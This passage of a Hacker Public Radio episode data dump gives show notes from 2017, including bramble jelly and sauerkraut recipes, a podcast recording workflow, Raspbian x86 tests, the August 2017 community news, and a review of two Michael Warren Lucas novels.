                                                            First on the issue of hygiene, before filling all the jars have previously been de-labelled and on the day of production are given another wash in hot soapy water, rinsed and placed in the oven and cooked for at least 15 minutes at 150° Centigrade (300° Fahrenheit) to sterilise them. All the lids are also boiled in water and kept hot until just before use for the same reason.

                                                            \n

                                                            The first thing I do in making jelly is wash the collected fruit (Blackberries) and put it in a pan with a little water to start cooking, then mash with a vegetable masher to start the process of breaking down the fruit. I also add 1 Lemon cut in half to each 1½ Kg of fruit both for the acidity and the pectin in the pith of the lemon (this helps setting the jelly as it cools). If there are any available I add wild plums to the mix in about a 10% ratio of plums to the Brambles as these are also rich in pectin.

                                                            \n

                                                            Once the fruit has boiled and broken down leave to cool, then remove the lemon skins ensuring you scrape the inside to get the gelatinous pulp into the pot as this contains the pectin. Now the fruit needs to be strained to remove the seeds etc. and just leave the juice for making the jelly.

                                                            \n

                                                            Once this has been done reduce the juice by about a third to concentrate it a little then measure the remaining juice to calculate how much sugar you will need for making the jelly. I use 1Kg sugar to each Liter of juice (1lb/US Pint)

                                                            \n

                                                            Put the juice in a pan large enough that it only comes half way up after the sugar is added as you need room for it to expand as it boils, bring the Juice back up to a boil and add the sugar stirring until it's all dissolved. This will have cooled it all down again so continue heating the juice and sugar mix until it starts to boil. At this stage you need to keep the juice boiling until it has come to Jam temp (105°C/220°F). If you have a Jam Thermometer you can use that to find the jam/jelly point. I don’t so I use a mixture of visual clues (boiling with lots of small bubbles on the surface) and using a cold plate kept in the freezer to test the Jelly as it cooks until its ready. You need to boil the juice for 10-15 minutes after it gets to temperature then put a drop of the juice on a cold saucer and leave for a minute, after which run your finger through the blob of juice and if it ripples up and stays there without closing the gap created you have Jelly. If not boil for a further 5 minutes and repeat until you have a setting jelly.

                                                            \n

                                                            Editor's Note: above adjusted in accordance with the comment 2017-08-19

                                                            \n

                                                            \"Boiling
                                                            \nBoiling Jelly

                                                            \n

                                                            \"Jam
                                                            \nJam setting

                                                            \n

                                                            At this point remove pan from the heat and allow to cool for 10 minutes. During this time you can drain your lids and lay them on a clean towel with the inside facing up ready to put on the jars (I’m using recycled store bought jars and lids. If using preserving jars follow the instructions with these.

                                                            \n

                                                            As this is a jelly you don’t need a fancy jam funnel as it pours well from a jug, just ensure it is clean and dry as the high heat of the jelly will ensure it is sterile on use, but if you're paranoid about infection sterilise it the same way as your jars in preparation.

                                                            \n

                                                            All that remains is to remove a few jars from the oven, fill with the Jelly liquid, having given it a stir as you fill your jug. Put on the lids of the jars ensuring they are on tightly. If they have the security pop up button as the jelly cools if the lid is on correctly this will be sucked down showing a good seal.

                                                            \n

                                                            Place the filled jars somewhere to cool, then label with a date and what it is, and you're set to enjoy your own home made jelly until it runs out, or give away as a home made gift to friends and family.

                                                            \n

                                                            If you want more info about making jams and jellies YouTube is full of how to videos.

                                                            \n","hostid":338,"series":93,"explicit":0,"license":"CC-BY-SA","tags":"Cooking, Jam, Jelly","version":0,"downloads":0,"valid":1}, {"id":2367,"date":"2017-08-29","title":"How I create and post a show to HPR","duration":1209,"summary":"In this episode I describe the process I use to create and post a show to HPR.","notes":"

                                                            Below are my original rough show notes I used to guide me along my rambling path of describing how I record a show

                                                            \n
                                                              \n
                                                            • How I record a podcast

                                                              \n
                                                                \n
                                                              • Start recording the show go through setting up recording level & adjusting my microphone, then do my usual introduction at the beginning.
                                                              • \n
                                                            • \n
                                                            • How I record and post a show

                                                              \n
                                                                \n
                                                              • First talk about folder structure

                                                              • \n
                                                              • Write show notes. If I don’t know the subject well enough or perhaps want to go into some detail, Wikipedia can be very handy here.

                                                              • \n
                                                              • Record it using cheap gaming headset with boom microphone, about 2 minutes into my show I give a demonstration of a badly placed microphone. I fully expected this to produce a lot of wind noise in the recording, this unfortunately didn't happen, the boom microphone I'm using is obviously much less susceptible to this than my previous microphone. Still it's always advisable to never place your microphone directly in front of your mouth. I tend to put mine at about chin level while making sure my chin never actually touches it.

                                                              • \n
                                                              • Record it by pushing the record button and talking

                                                              • \n
                                                              • Listen to it once or twice I tend to remove any bad stutters large silences, mistakes and some ums and ah’s.

                                                              • \n
                                                              • Add my own theme music to the beginning of the track (Explain)

                                                              • \n
                                                              • Intro and outro not required as HPR add this

                                                              • \n
                                                              • Highlight track with voice on it and select compression

                                                              • \n
                                                              • Write up show notes using LibreOffice writer while listening to show one more time.

                                                              • \n
                                                              • Export track in flac format, don’t add any information when exporting such as artist title etc as this is added later by HPR

                                                              • \n
                                                              • Go to the HPR calendar page pick a free slot

                                                              • \n
                                                              • HPR will send you a time limited link via email

                                                              • \n
                                                              • Click on link to open the upload page for your show

                                                              • \n
                                                              • Fill in the required details from the show notes prepared in LibreOffice writer

                                                              • \n
                                                              • Browse to final flac show

                                                              • \n
                                                              • Submit show, job done

                                                              • \n
                                                            • \n
                                                            \n

                                                            Just a little note if all this seems a bit complicated it doesn't have to be, this is how I normally produce a show you could instead just hit record on your recording device. Record it in just about any audio format, click on the free slot link on the HPR calendar page and upload the show without any show notes, HPR will do the rest.

                                                            ","hostid":201,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"HPR, recording, audacity","version":0,"downloads":0,"valid":1}, {"id":2368,"date":"2017-08-30","title":"Every cloude has a silver lining","duration":143,"summary":"Short, somewhat rhyming, thoughts provoked by an emptying show queue.","notes":"

                                                            Just some rambling about HPR and that you should record a show!

                                                            \n
                                                            \nThe world's going down, the HPR queue is low.\nBe one of the saviours, RECORD A SHOW!\n\nWhatever topic, you are not alone.\nFeel free to seek help, if you can't do on your own.\n\nOne will have to struggle, to find a friendlier crowd\nwith that wide range coverage from the simplest to \"clouds\".\n\nFrom toy to high tech and from jokes to wise words.\nEmbracing you all. - Not just the nerds.\n\nIt's not a \"service\", HPR is WE!\nSo contribute the stuff, you'd like more of to see.\n\nIf YOU like it, others surely too will.\nDiversity defines the realm, we are aiming to fill. \n\nSure, there are heroes, lifting most of the weight.\nBut we all are the foundation, deciding HPR's fate.\n\nBe thankful, you slackers, who leave those free slots,\nfor those few prolific, still filling the spots.\n\nPlease don't keep the burden on shoulders so few.\nChime in with some topic, by sharing your view.\n\nHigh praise to those, stepping in a first time!\nWe need more of you though, to strengthen the lines. \n\nLike an episode? - Please let us know!\nIt's positive feed back, that's keeping us go.\n\nComment on the page or record a reply.\nThere's no reason for hiding or being overly shy.\n\nIt's a community effort to make the thing we love stay.\nBecause failing would mean, that HPR goes away.\n\nBut it takes more than bad times to make HPR disappear!\nTogether we stand, and we all are still here.\n\nBit by bit, sharing knowledge and fun,\nbuilding the confidence that HPR WILL go on. \n\nIt's up to us, so just pick up the ball\nand keep the show rolling, for the sake of us all.\n
                                                            ","hostid":271,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"poetry, low queue","version":0,"downloads":0,"valid":1}, {"id":2369,"date":"2017-08-31","title":"Little Meters","duration":1271,"summary":"NYbill does a quick review of two more inexpensive multimeters","notes":"

                                                            Listen to more things clicking and beeping!

                                                            \n

                                                            NYbill does a quick review of two more inexpensive multimeters, ANENG models AN8002 and AN8008.

                                                            \n

                                                            Bonus noises! I recorded next to an open window on a gusty day. Oops…

                                                            \n\n","hostid":235,"series":103,"explicit":0,"license":"CC-BY-SA","tags":"Electronics, Multimeter, Review","version":0,"downloads":0,"valid":1}, {"id":2370,"date":"2017-09-01","title":"Who is HortonWorks?","duration":1139,"summary":"And what they do with Hadoop.","notes":"

                                                            Just a quick show about Hortonworks and what they do.

                                                            \n

                                                            They are the biggest contributor to the Apache Hadoop project.

                                                            \n

                                                            https://hortonworks.com/

                                                            ","hostid":129,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Apache Hadoop, Hadoop","version":0,"downloads":0,"valid":1}, {"id":2371,"date":"2017-09-04","title":"HPR Community News for August 2017","duration":5259,"summary":"HPR Volunteers talk about shows released and comments posted in August 2017","notes":"\n\n

                                                            New hosts

                                                            \n

                                                            \nThere were no new hosts this month.\n

                                                            \n\n

                                                            Last Month's Shows

                                                            \n\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n
                                                            IdDayDateTitleHost
                                                            2347Tue2017-08-01An Intro to Apache HadoopJWP
                                                            2348Wed2017-08-02Vim Hints 005Dave Morriss
                                                            2349Thu2017-08-03Customizing my bash promptWindigo
                                                            2350Fri2017-08-04Ahuka Insurance - Understanding The MarketplaceAhuka
                                                            2351Mon2017-08-07HPR Community News for July 2017HPR Volunteers
                                                            2352Tue2017-08-08Liverpool Makefest 2017 Show 5Tony Hughes AKA TonyH1212
                                                            2353Wed2017-08-09RoboThermometerEpicanis
                                                            2354Thu2017-08-10Night Sounds in Rural TennesseeJon Kulp
                                                            2355Fri2017-08-11Wii and WiiU Software Moddingoperat0r
                                                            2356Mon2017-08-14Safely enabling ssh in the default Raspbian ImageKen Fallon
                                                            2357Tue2017-08-15Air Soft Mini Howtooperat0r
                                                            2358Wed2017-08-16Amateur radio round table #2Various Hosts
                                                            2359Thu2017-08-17Android ROM and PAINoperat0r
                                                            2360Fri2017-08-18Tradeoffs in the US Health Care SystemAhuka
                                                            2361Mon2017-08-21Information Underground: Working Outklaatu
                                                            2362Tue2017-08-22Raspbian X86 on Lenovo x61sTony Hughes AKA TonyH1212
                                                            2363Wed2017-08-23Cancelling my TV licenceDave Morriss
                                                            2364Thu2017-08-24Managing Your Android with AirDroidFrank Bell
                                                            2365Fri2017-08-25Rolling out a radio-based internet service in rural EnglandBeeza
                                                            2366Mon2017-08-28Making Bramble JellyTony Hughes AKA TonyH1212
                                                            2367Tue2017-08-29How I create and post a show to HPRMrX
                                                            2368Wed2017-08-30Every cloude has a silver liningmirwi
                                                            2369Thu2017-08-31Little MetersNYbill
                                                            \n

                                                            Mailing List discussions

                                                            \n

                                                            \nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the Mail List which is open to all HPR listeners and\ncontributors. The discussions are open and available in the archives run\nexternally by Gmane\n(see below) and on the HPR server under Mailman.\n

                                                            \n

                                                            Note: since the summer of 2016 Gmane has changed location and is currently\nbeing reestablished. At the moment the HPR archive is not available there.

                                                            \n

                                                            The threaded discussions this month can be found here:

                                                            \nhttps://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2017-August/thread.html\n\n\n

                                                            Comments this month

                                                            \n\n

                                                            These are comments which have been made during the past month, either to shows\nreleased during the month or to past shows.
                                                            \nThere are 45 comments in total.

                                                            \n

                                                            There are 9 comments on\n5 previous shows:

                                                            \n\n

                                                            There are 36 comments on 14 of this month's shows:

                                                            \n
                                                            • hpr2349\n(2017-08-03) \"Customizing my bash prompt\"\nby Windigo.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nx1101 on 2017-08-04:\n\"prompt for other users\"
                                                              • Comment 2:\nWindigo on 2017-08-04:\"[no title]\"
                                                              • Comment 3:\nDave Morriss on 2017-08-12:\n\"Great show - most enjoyable\"

                                                              \n
                                                            • hpr2350\n(2017-08-04) \"Ahuka Insurance - Understanding The Marketplace\"\nby Ahuka.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nCanadianbob on 2017-08-13:\n\"Health Insurance Market\"
                                                              • Comment 2:\nKevin O'Brien on 2017-08-13:\n\"That's why I recorded this\"

                                                              \n
                                                            • hpr2351\n(2017-08-07) \"HPR Community News for July 2017\"\nby HPR Volunteers.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nMad Sweeney on 2017-08-08:\n\"Sean Nós Free Software Song made me happy\"
                                                              • Comment 2:\nKrayon on 2017-08-29:\n\"AMAZING Free Software song!\"

                                                              \n
                                                            • hpr2353\n(2017-08-09) \"RoboThermometer\"\nby Epicanis.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nMr. Young on 2017-08-10:\n\"On my to-do list\"
                                                              • Comment 2:\nClaudioM on 2017-08-11:\n\"Another Great Episode\"
                                                              • Comment 3:\nIvan "Epicanis" Privaci (pseud.) on 2017-08-12:\n\"Glad to be back!\"

                                                              \n
                                                            • hpr2354\n(2017-08-10) \"Night Sounds in Rural Tennessee\"\nby Jon Kulp.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nDave Morriss on 2017-08-14:\n\"Some impressive ambient sounds\"
                                                              • Comment 2:\nTony Hughes on 2017-08-16:\n\"hpr2354 :: Night Sounds in Rural Tennessee\"
                                                              • Comment 3:\nFrank on 2017-08-17:\"[no title]\"
                                                              • Comment 4:\nJonathan Kulp on 2017-08-17:\n\"Mystery bugs\"
                                                              • Comment 5:\nWindigo on 2017-08-23:\n\"More nostalgia\"

                                                              \n
                                                            • hpr2356\n(2017-08-14) \"Safely enabling ssh in the default Raspbian Image\"\nby Ken Fallon.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKlaatu on 2017-08-15:\n\"good coffee\"

                                                              \n
                                                            • hpr2360\n(2017-08-18) \"Tradeoffs in the US Health Care System\"\nby Ahuka.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKen Fallon on 2017-08-19:\n\"A better starting point\"

                                                              \n
                                                            • hpr2361\n(2017-08-21) \"Information Underground: Working Out\"\nby klaatu.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKen Fallon on 2017-08-21:\n\"Citation needed\"
                                                              • Comment 2:\nClaudioM on 2017-08-23:\n\"Fantastic!\"
                                                              • Comment 3:\ndeepgeek on 2017-08-24:\n\"Cost Correction\"

                                                              \n
                                                            • hpr2362\n(2017-08-22) \"Raspbian X86 on Lenovo x61s\"\nby Tony Hughes AKA TonyH1212.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nBeeza on 2017-08-25:\n\"Raspbian X86 On Atom-powered Netbook\"
                                                              • Comment 2:\nTony Hughes on 2017-08-26:\n\"Raspbian X86 On Atom-powered Netbook\"

                                                              \n
                                                            • hpr2363\n(2017-08-23) \"Cancelling my TV licence\"\nby Dave Morriss.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nFrank on 2017-08-23:\"[no title]\"
                                                              • Comment 2:\nDave Morriss on 2017-08-24:\n\"I see your point, but...\"
                                                              • Comment 3:\nBeeza on 2017-08-25:\n\"TV Detectors\"
                                                              • Comment 4:\nTony Hughes on 2017-08-26:\n\"Cancelling my TV licence\"
                                                              • Comment 5:\nDave Morriss on 2017-08-26:\n\"Thanks for the input\"

                                                              \n
                                                            • hpr2364\n(2017-08-24) \"Managing Your Android with AirDroid\"\nby Frank Bell.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nTony Hughes on 2017-08-26:\n\"Managing Your Android with AirDroid\"
                                                              • Comment 2:\nFrank on 2017-08-26:\"[no title]\"

                                                              \n
                                                            • hpr2365\n(2017-08-25) \"Rolling out a radio-based internet service in rural England\"\nby Beeza.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nTony Hughes on 2017-08-26:\n\"Rolling out a radio-based internet service in rural England\"
                                                              • Comment 2:\nFrank on 2017-08-26:\"[no title]\"
                                                              • Comment 3:\nBeeza on 2017-08-29:\n\"Thanks for the comments\"

                                                              \n
                                                            • hpr2366\n(2017-08-28) \"Making Bramble Jelly\"\nby Tony Hughes AKA TonyH1212.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nTony Hughes on 2017-08-19:\n\"hpr2366 Making Bramble Jelly\"
                                                              • Comment 2:\nDave Morriss on 2017-08-19:\n\"I adjusted your text\"

                                                              \n
                                                            • hpr2369\n(2017-08-31) \"Little Meters\"\nby NYbill.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nMike Ray on 2017-08-30:\n\"Noooo...don't stop buying and reviewing meters\"
                                                              • Comment 2:\nDave Lee on 2017-08-31:\n\"Excellent show\"

                                                              \n
                                                            \n

                                                            Any other business

                                                            \n
                                                              \n
                                                            • Comment System\n\t

                                                              As mentioned on the\n\tmailing\n\tlist, we are working on a new comment system to replace the failing one we have now. We'll be reporting\n\tprogress on the mailing list.\n\t

                                                              \n
                                                            • \n
                                                            • Filling the queue\n\t

                                                              The queue got very low recently but is now looking healthier. Thanks to\n\teveryone for their contributions. However, it would be better in\n\tfuture if shows could be spread out more to leave room for new contributors and to help prevent the\n\tfeast/famine problem. See the Scheduling Guidelines on the Calendar page:\n\t

                                                              \n\t
                                                                \n\t
                                                              1. You must have have your audio recording ready to upload before you pick a slot.
                                                              2. \n\t
                                                              3. Always try and fill any free slots that are available in the upcoming week.
                                                              4. \n\t
                                                              5. If the queue is filling up then please consider leaving some slots free for new contributors.
                                                              6. \n\t
                                                              7. If you have a non urgent show then find a empty week and schedule it then.
                                                              8. \n\t
                                                              9. If you are uploading a series of shows, consider scheduling one every two weeks.
                                                              10. \n\t

                                                              \n
                                                            • \n
                                                            • Amateur Radio Round Table\n\t

                                                              The current proposal is to record the next show on 2017-09-13 at 18:00 UTC.
                                                              \n\tPlease let Michael (mirwi) know via the HPR mailing list if you'd like to attend.

                                                              \n
                                                            • \n
                                                            • Tags and Summaries\n

                                                              In the past month we have had contributions from \n\tEpicanis\n\tand Windigo\n\tand I (Dave\n\t Morriss) have added a few tags & summaries myself. Many\n\tthanks to all contributors.

                                                              \n

                                                              Currently there are 950 shows which need summaries or tags to be\n\tadded. All contributions to this project are most welcome. See the\n\tcurrent status and instructions for making your own contribution\n\tat \"Shows without a summary and/or tags\".

                                                              \n
                                                            • \n
                                                            \n\n\n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":0,"valid":1}, {"id":2372,"date":"2017-09-05","title":"Docbook","duration":3278,"summary":"How to Docbook","notes":"

                                                            Forsake markdown now! Klaatu walks you through writing in Docbook, processing and rendering output.

                                                            ","hostid":78,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"xml,docbook,writing","version":0,"downloads":0,"valid":1}, {"id":2373,"date":"2017-09-06","title":"PCGen","duration":2640,"summary":"Klaatu talks about a PC generator","notes":"

                                                            Building characters for your next exciting tabletop RPG session? Use PCGen, and here's how!

                                                            ","hostid":78,"series":95,"explicit":0,"license":"CC-BY-SA","tags":"RPG,character,character generator","version":0,"downloads":0,"valid":1}, {"id":2374,"date":"2017-09-07","title":"How to Make Sauerkraut","duration":595,"summary":"This is a short show on making Sauerkraut","notes":"

                                                            First off I have to admit to being a bit of a foodie and I love Sauerkraut but getting naturally fermented sauerkraut here in the UK in my experience impossible and if you can it tends to be expensive. So I went and had a look on YouTube for some instructions on how to do it, and my first efforts worked well. I’ve just made another batch and took pictures as I was doing it. So this is a how to show on making Sauerkraut.

                                                            \n

                                                            Just to say that this is about making basic sauerkraut but you can add additional flavours with garlic, other veg and spices. At some point I will try chilli but this week I want the clean taste of a basic sauerkraut.

                                                            \n

                                                            I use a large white cabbage which you need to strip any outer leaves that are blemished or dirty then quarter and cut out the hard core. Now before shredding weigh the cabbage as you need this to work out how much salt you will add for each Kilo of cabbage and other vegetables, if using. You need 20 grammes of salt, nothing fancy but use one without any any additives, just pure salt, I used a rock salt which cost £1.35 for 350g. You're basically after 2% salt to weight of Cabbage and anything else you are fermenting.

                                                            \n

                                                            It’s also an idea to have about 100mls of a 2% brine to top up if needed to cover the veg in the jar if there is not quite enough liquid made during mashing.

                                                            \n

                                                            \"https://hackerpublicradio.org/eps/hpr2374/hpr2374/hpr2374_SK01.jpg\"

                                                            \n

                                                            Shred the cabbage and put into a large bowl with the salt, now the fun bit starts. You need to get your hands in and start to crush the salt covered shredded cabbage to start drawing out the moisture, this will take several minutes or longer depending on quantity, but you will feel the texture changing and the liquid starting to be drawn out quite soon after starting. Continue this process until the cabbage seems to have shrunk by about half and there is also a juice in the bottom of the bowl. You can cheat and do this for a few minutes then cover with food wrap and leave for up to an hour and the salt will have done some of the work for you, but you need to give it a good 5 minutes to start before you do this, and you may have to do a little more mashing before transferring to a jar.

                                                            \n

                                                            \"https://hackerpublicradio.org/eps/hpr2374/hpr2374/hpr2374_SK02.jpg\"

                                                            \n

                                                            \"https://hackerpublicradio.org/eps/hpr2374/hpr2374/hpr2374_SK03.jpg\"

                                                            \n

                                                            \"https://hackerpublicradio.org/eps/hpr2374/hpr2374/hpr2374_SK04.jpg\"

                                                            \n

                                                            At this stage find a jar or jars, large enough to hold all the cabbage with a little to spare, you can sterilise if you wish but a good clean in hot soapy water then rinsed and allowed to dry is sufficient as the salt kills and bad bacteria and encourages to good bacteria to grow. Put all your salted and mashed cabbage mix in the jar/jars well packed down with the juice ensuring that the juice is covering the cabbage by about 1cm (this is where the extra saline solution comes in if you don’t quite have enough.

                                                            \n

                                                            \"https://hackerpublicradio.org/eps/hpr2374/hpr2374/hpr2374_SK05.jpg\"

                                                            \n

                                                            Now put your lid on but not overly tight as this is a fermented product and if there is nowhere for the gas to go then you could have a pressure explosion in your cupboard (some people use wine makers fermenting valves but this is a little overkill and more cost than needed).

                                                            \n

                                                            Tuck the jar away in a storage place that’s about room temp and leave for several days checking every so often to see how it is. If the brine has evaporated you may need to top up slightly. After about a week you should have sauerkraut, give it a try, if its sour enough this is when you take it and put in the fridge or cold cellar/garage to stop the fermenting. All you have to do now is start eating, oh, and make your next batch ready for when that’s gone.

                                                            \n

                                                            \"https://hackerpublicradio.org/eps/hpr2374/hpr2374/hpr2374_SK06.jpg\"

                                                            \n","hostid":338,"series":93,"explicit":0,"license":"CC-BY-SA","tags":"Cooking, Fermenting, Food preserving ","version":0,"downloads":0,"valid":1}, {"id":2375,"date":"2017-09-08","title":"Competing Interests","duration":960,"summary":"We look at the marketplace and see how everyone's interests clash","notes":"

                                                            The Health Care Marketplace in the U.S. has 6 major partipants: Doctors, Hospitals, Insurance Companies, Employers, Government, and Individuals. Each of them has interests and incentives, and they tend to clash. How we resolve those competing interests has consequences for the systems we create.

                                                            \n

                                                            Links:

                                                            \n\n","hostid":198,"series":100,"explicit":0,"license":"CC-BY-SA","tags":"Health Insurance, Health Policy, Insurance Marketplace","version":0,"downloads":0,"valid":1}, {"id":2376,"date":"2017-09-11","title":"Information Underground: 21st Century Superstar","duration":3180,"summary":"Deepgeek, Lostnbronx, and Klaatu talk about iconless culture","notes":"

                                                            Deepgeek, Lostnbronx, and Klaatu talk about cultural iconography.

                                                            ","hostid":73,"series":99,"explicit":0,"license":"CC-BY-SA","tags":"culture, cultural icon","version":0,"downloads":0,"valid":1}, {"id":2377,"date":"2017-09-12","title":"A Rambling Drive Into Work","duration":1361,"summary":"An attempt at making a show on the way into work","notes":"

                                                            Please excuse the audio quality in the episode & feel free to skip if it's too painful on the ears. In the episode, I mainly talk about my two most recent cars as I couldn’t think of anything else to talk about off the cuff.

                                                            \n\n","hostid":201,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"car,drive,podcast,audio","version":0,"downloads":0,"valid":1}, {"id":2378,"date":"2017-09-13","title":"Why Docbook?","duration":2405,"summary":"Klaatu talks about why Docbook is the greatest","notes":"

                                                            What's so great about Docbook, any way? Glad you asked.

                                                            ","hostid":78,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"xml,docbook,writing","version":0,"downloads":0,"valid":1}, {"id":2379,"date":"2017-09-14","title":"sending a text message from the command line","duration":295,"summary":"a bunch of waffling on about email and text message sending from the command line","notes":"

                                                            Notes? We don't need no stinking notes!

                                                            \n\nEdited 2017-09-08 by Ken
                                                            \nI beg to differ :).
                                                            \n

                                                            \n\n

                                                            \nThis show was recorded on Audacity using a Logitech headset.\n

                                                            \n

                                                            \nIn episode hpr1892 :: my chicken coop jezra went to great lengths to protect his chickens. His system based on a BeagleBone Black ensures the door opens and closes only during the day. \n

                                                            \n

                                                            \nIn this show jezra explains how he gets the system to send him an email, and a text message using mailx and his phones providers free SMS to Email gateway.\n

                                                            ","hostid":243,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"command line, mail, SMS","version":0,"downloads":0,"valid":1}, {"id":2380,"date":"2017-09-15","title":"Raspbian X86 on P4 Tower","duration":248,"summary":"This is a show on installing Pixel on a Pentium 4 Tower PC","notes":"

                                                            Raspbian x86 on an old P4 tower

                                                            \n

                                                            Well I’m back again, as I said in the show I did about Raspbian x86 on the Lenovo x61s, I was interested to see how the OS would perform on what I now class as very old hardware in the form of a Pentium 4 tower.

                                                            \n

                                                            We have a spare tower at the Makerspace which gets used to test low resource operating systems to see if they live up to their name, so on Saturday (yesterday as I write this, but a few weeks ago by the time this show goes out) I put the x86 Raspbian image on to this tower to see how it would perform.

                                                            \n

                                                            Tower specifications are: Pentium 4 2.8Gig CPU, 2Gig DDR Ram and a 40Gig HDD, which in its day was a very useful bit of kit, but technology has moved on and most people wouldn’t consider it any use as a working PC today.

                                                            \n

                                                            First problem I encountered was the DVD drive was duff and I didn’t have the image on a flash drive. Luckily I did have my trusty USB DVD in the bag, so I hooked that up, booted into the boot menu and set the disc off loading the OS. I won't go into this again as I ran through the install process last time, HPR 2362, but the install went well and I was left with a new install of Pixel on the tower.

                                                            \n

                                                            I went through the new install process and was left with an up to date and password secure PC, I then rebooted to check what the resource use was at first boot, which I was amazed was a consistent 66mb of RAM, and about 1% CPU use.

                                                            \n

                                                            \"https://hackerpublicradio.org/eps/hpr2380/hpr2380/hpr2380_P4_01.jpg\"

                                                            \n

                                                            Using the Chromium web browser pushes up RAM usage over a 100 but it was smooth and easily coped with navigating to resource hungry sites such as YouTube and the BBC. So first test passed.

                                                            \n

                                                            I next opened a Word document in LibreOffice, this took about 10seconds to load but once open was perfectly usable with no lag, so should provide a good office capable PC.

                                                            \n

                                                            So you can use the Web, Write documents, it has an email client or you can use web mail. And it’s not painfully slow, this PC would now make a very usable homework/first computer for any child, or a computer for an older member of the family that just needs to keep in touch with family and friends without breaking the bank. In fact you could probably pick up a working tower off the likes of Freecycle/Freegle for £0 and you may even get a small 17”/19” TFT monitor from the same place.

                                                            \n

                                                            Yes it’s not as energy efficient as the latest kit but as I said last time the cost of a new PC/laptop can buy a lot of additional electricity in the time you may run it before it finally expires.

                                                            \n","hostid":338,"series":57,"explicit":0,"license":"CC-BY-SA","tags":"Linux, Raspbian x86, Pentium4 hardware.","version":0,"downloads":0,"valid":1}, {"id":2381,"date":"2017-09-18","title":"Benefits of a tabletop","duration":2650,"summary":"Klaatu talks about the benefits of analogue gaming","notes":"

                                                            Klaatu talks about the benefits of tabletop gaming over computer gaming.

                                                            ","hostid":78,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"game,gaming,rpg","version":0,"downloads":0,"valid":1}, {"id":2382,"date":"2017-09-19","title":"A Non Spoilery Review of \"git commit murder\" and \"Forever Falls\" by Michael Warren Lucas","duration":555,"summary":"I met Mike Lucas at Kansas Linux Fest 2017 and review a couple of his novels","notes":"

                                                            A Non Spoilery Review of "git commit murder" and "Forever Falls" by Michael Warren Lucas

                                                            \n

                                                            I met Michael at Kansas Linux Fest 2017 where he was a speaker. Turns out we've probably been walking past each other in the halls at Penguicon the last three years that I have attended. Michael is a BSD guy and one of us. As well as being an open source advocate, he works professionally as a systems admin and network engineer. I bought his texts "SSH Mastery" (because I've always needed help getting my head around reverse IP tunneling), "Networking for Systems Administrators", and "$ git commit murder", his latest novel. Because I was a good customer, Michael threw in "Forever Falls" for free.

                                                            \n

                                                            "git commit murder" takes place at a BSD convention. The gathering in the novel is slightly less informal than the Linux conferences I've attended. The conference is targeted at the users, contributors, and managers of the fictional "SkyBSD". Our protagonist, Detroit native Dale Whitehead has come to Canada to deliver a talk on his mesh networking project. The conference is disrupted when attendees start to die in what appear to be unrelated accidents. Dale is unwilling to accept these deaths as accidents, and puts his analytical mind to discovering the killer. He also employees his hacking skills, having already created an admin account on the host university's server within minutes of checking in. This makes him understandably reluctant to discuss his theories with the authorities until he has positively identified a culprit.

                                                            \n

                                                            The SkyBSD community is not without contention. A significant number of contributors want to move from Subversion to git for version control and just as many are vehemently opposed. Also, the recent release of candid photos meant to embarrass a contributor has many calling for a Code of Conduct and the banning of violators. Others think this is going too far. Dale has to contemplate whether either of these is reason for murder? Perhaps it is a struggle by an old guard who is not ready to surrender leadership to a younger generation?

                                                            \n

                                                            At first, it was hard to get to like Michael's protagonist, Dale Whitehead. Dale suffers from an extreme form of Attention Deficit Disorder which requires medication and causes him to actively shun the company of other people. The same affliction that allows him to get "in the zone" when programming also makes being in crowds a fresh hell for Dale. He is in constant terror that some aberrant behavior on his part will reveal his condition to his companions and he finds it much easier to deal with other humans via e-mail or IRC. It's clear Michael Lucas has an understanding of the condition, either via research or contact with someone who suffers ADD.

                                                            \n

                                                            At least one character in the story seemed to me to bear a passing resemblance to a familiar conference fixture in real life. Michael told me the sequel might be set at an open source/Sci Fi convention in a city near the great lakes. Time will tell if the Tuesday Afternoon Solaris Overview or a kilt wearing organizer will make an appearance.

                                                            \n

                                                            "Forever Falls" is also a mystery, as well a SciFi story. Ella Forecourt is a recruit right out of college for the Montague Corporation. As a corporate security officer, she is assigned to investigate the death of a Montague research scientist at the Freefall installation. In the course of the novel, you learn that Montague has proprietary technology that allows them to "portal" into other universes or dimensions where the laws of physics are different from those of our universe. In Freefall, gravity runs parallel to the surface of the world. In other words, you don't fall down, you fall sideways, and with no ground to stop you, if you fall, you fall forever.

                                                            \n

